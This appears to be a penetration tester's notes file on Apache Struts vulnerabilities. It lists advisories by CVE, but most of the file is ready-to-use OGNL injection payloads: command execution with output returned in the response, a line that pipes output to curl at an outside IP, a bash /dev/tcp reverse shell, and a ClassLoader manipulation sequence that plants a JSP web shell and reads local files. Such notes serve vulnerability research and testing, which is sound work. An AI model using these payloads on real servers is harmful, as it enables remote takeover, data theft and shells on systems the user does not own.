-
Notifications
You must be signed in to change notification settings - Fork 84
/
struts
128 lines (96 loc) · 9.23 KB
/
struts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# struts
# good overview
http://synacktiv.com/ressources/20121025-jssi_rouen-j2ee_frameworks.pdf
http://rpouiller.developpez.com/tutoriel/java/struts-eclipse-tomcat/
# worm attack
https://www.mandiant.com/blog/responding-attacks-apache-struts2/
$%7b%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5b%5d%7b'cat','/etc/passwd'%7d)).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new=%20char%5b50000%5d,%23d.read(%23e),%23o=%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23o.getWriter().println(%23e),%23o.getWriter().flush(),%23o.getWriter().close()%7d
execute arbitrary OGNL code with ${} or %{}
# CVE-2010-1870
http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html (good intro on OGNL)
# CVE-2011-2730
http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html (big one-liner payload with in-band cmd output)
# CVE-2011-3923
http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html
# CVE-2012-0391, CVE-2012-0392, CVE-2012-0393, CVE-2012-0394
https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt (mirror http://www.exploit-db.com/exploits/18329/)
msf: exploit/multi/http/struts_code_exec_exception_delegator
PoC: /Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'
PoC: Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=1
# CVE-2012-0838
http://struts.apache.org/release/2.3.x/docs/s2-007.html
# CVE-2013-1965
https://cwiki.apache.org/confluence/display/WW/S2-012
# CVE-2013-2115, CVE-2013-1966
http://struts.apache.org/development/2.x/docs/s2-013.html https://cwiki.apache.org/confluence/display/WW/S2-014
msf: exploit/multi/http/struts_include_params
PoC: HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
# CVE-2013-2134, CVE-2013-2135
https://cwiki.apache.org/confluence/display/WW/S2-015
# CVE-2013-2251
http://struts.apache.org/release/2.3.x/docs/s2-016.html
msf: exploit/multi/http/struts_default_action_mapper
PoC: /blah/kikoo.action?redirect:%25{new%20java.lang.String('1337')}
defined in WEB-INF/classes/struts.xml, each action can be called by appending ".action" to the action's name
/index.action?redirect:${@java.lang.Runtime@getRuntime().exec("curl+6.6.6.6")} // blind
/index.action?redirect:${(new+java.io.BufferedReader(new+java.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"UTF-8"))).readLine()} // inband
/index.action?redirect:${(new+java.io.BufferedReader(new+java.io.InputStreamReader(new+java.lang.ProcessBuilder({"bash","-c","%s|gzip+-f|base64+-w0"}).start().getInputStream()),1000000)).readLine()}
/blah.action?redirect:${(new+java.lang.ProcessBuilder(new+java.lang.String[]{'/bin/bash','-c','id|curl%206.6.6.6%20-d%20@-'})).start()} // outband
/blah.action?redirect:${(new+java.lang.ProcessBuilder(new+java.lang.String[]{'/bin/bash','-c','/bin/bash%200</dev/tcp/6.6.6.6/80%201>%260%202>%260'})).start() // reverse shell
http://seclists.org/bugtraq/2013/Aug/101
- Both %{expr} and ${expr} notation can be used for attacks.
- Parameters both in querystring and in request body can be used.
- redirect: and redirectAction: can be used not only for Java method execution but also for open redirect.
# CVE-2014-0114 from ClassLoader manipulation to RCE (on Tomcat 8 only?)
https://struts.apache.org/docs/s2-020.html
http://openwall.com/lists/oss-security/2014/06/15/10
http://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts & https://github.com/julianvilas/rooted2k15
fixed in common-beanutils-1.9.2 but any software bundled with an earlier version is therefore vuln, such as Apache Struts 1.3.10 which bundles commons-beanutils-1.8.0
=> struts2
welcome.action?...
=> struts1
Because struts1 was EOL'ed when this vuln was disclosed, a filter was provided for free (http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Protect-your-Struts1-applications/ba-p/6463188)
however it could be bypassed by sending payload in body, so a v2 was provdided (http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204) because
the new extra-ordinary struts1 v1.3.11 which should completely fix this hasnt been released yet (https://issues.apache.org/jira/browse/STR/fixforversion/12327152/?selectedTab=com.atlassian.jira.jira-projects-plugin:version-summary-panel).
struts team merged an actual fix instead of the filter workaround by HP, they didn't ship a release though, just merged the patch (see fork https://github.com/kawasima/struts1-forever)
https://github.com/apache/struts1/pull/1/commits/09f92705bda6399b3885494b6e0e835bea477ac3 is the patch commit Red Hat backported to the versions they ship
also might work: ?class['classLoader']['resources']['dirContext']['docBase']=/ or class['classLoader']['resources']['dirContext']['aliases']=/lol=/etc but it didnt for me on struts-1.3.10
* tomcat8 - successfully tested against struts 1.2.7 on tomcat-8.0.8 (only works on tomcat8 as these properties are not avail in tomcat7) (works with .action too)
/struts-mailreader/EditRegistration.do?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
/struts-mailreader/EditRegistration.do?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
/struts-mailreader/EditRegistration.do?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
/struts-mailreader/EditRegistration.do?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
/struts-mailreader/whateverwillcause404.jsp?a=<%Runtime.getRuntime().exec("ls");%>
/shell1.jsp -> results of ls
* tomcat7 - sucessfully tested against struts 1.2.7 on tomcat-7.0.55 you make the classloader point to a share instead of local filesystem
-- unsafe method (aka the chinese apt fuck it way)
/!\ warning if you change docBase it will break everything:
http://127.0.0.1:8080/struts-mailreader/EditRegistration.do?class.classLoader.resources.dirContext.docBase=//192.168.122.1/share
then look at wireshark to see what files it tries to load and replace them with malicious ones
also to read local files
http://127.0.0.1:8080/struts-mailreader/EditRegistration.do?class.classLoader.resources.dirContext.docBase=/
http://127.0.0.1:8080/struts-mailreader/boot.ini
the pb is to restore docBase you need to provide the full path like so:
http://127.0.0.1:8080/struts-mailreader/EditRegistration.do?class.classLoader.resources.dirContext.docBase=/opt/m/tomcat/struts-mailreader
-- safe way
use aliases instead:
http://127.0.0.1:8080/struts-mailreader/EditRegistration.do?class.classLoader.resources.dirContext.aliases=/lol=/etc
http://127.0.0.1:8080/struts-mailreader/lol/passwd
http://127.0.0.1:8080/struts-mailreader/EditRegistration.do?class.classLoader.resources.dirContext.aliases=/blah=//192.168.122.1/share
http://127.0.0.1:8080/struts-mailreader/blah/rce.jsp
-- successfully tested against struts 1.3.10 on tomcat-7.0.55 but with the cookbook example
the mailreader example doesnt work because the RegistrationForm extends org.apache.struts.validator.DynaValidatorForm and not ActionForm or ValidatorForm as in 1.2.7
the vuln happens right after the cast is done:
RegistrationForm regform = (RegistrationForm) form;
* jarPath (seen on chinese sites) but seems to be for struts2
welcome.do?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23s3cur1ty%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23s3cur1ty.println(%23d)%2c%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]
welcome.do?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true, #[email protected]@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#s3cur1ty.println(#d),#s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]
* a few weeks after publication of original mitigation filter [1] a researcher found it can be bypassed [2] by sending payload in body
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Protect-your-Struts1-applications/ba-p/6463188 [1]
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204 [2]
# CVE-2016-3081
https://struts.apache.org/docs/s2-032.html
# CVE-2017-5638
https://svn.nmap.org/nmap/scripts/http-vuln-cve2017-5638.nse
# CVE-2017-9805
https://struts.apache.org/docs/s2-052.html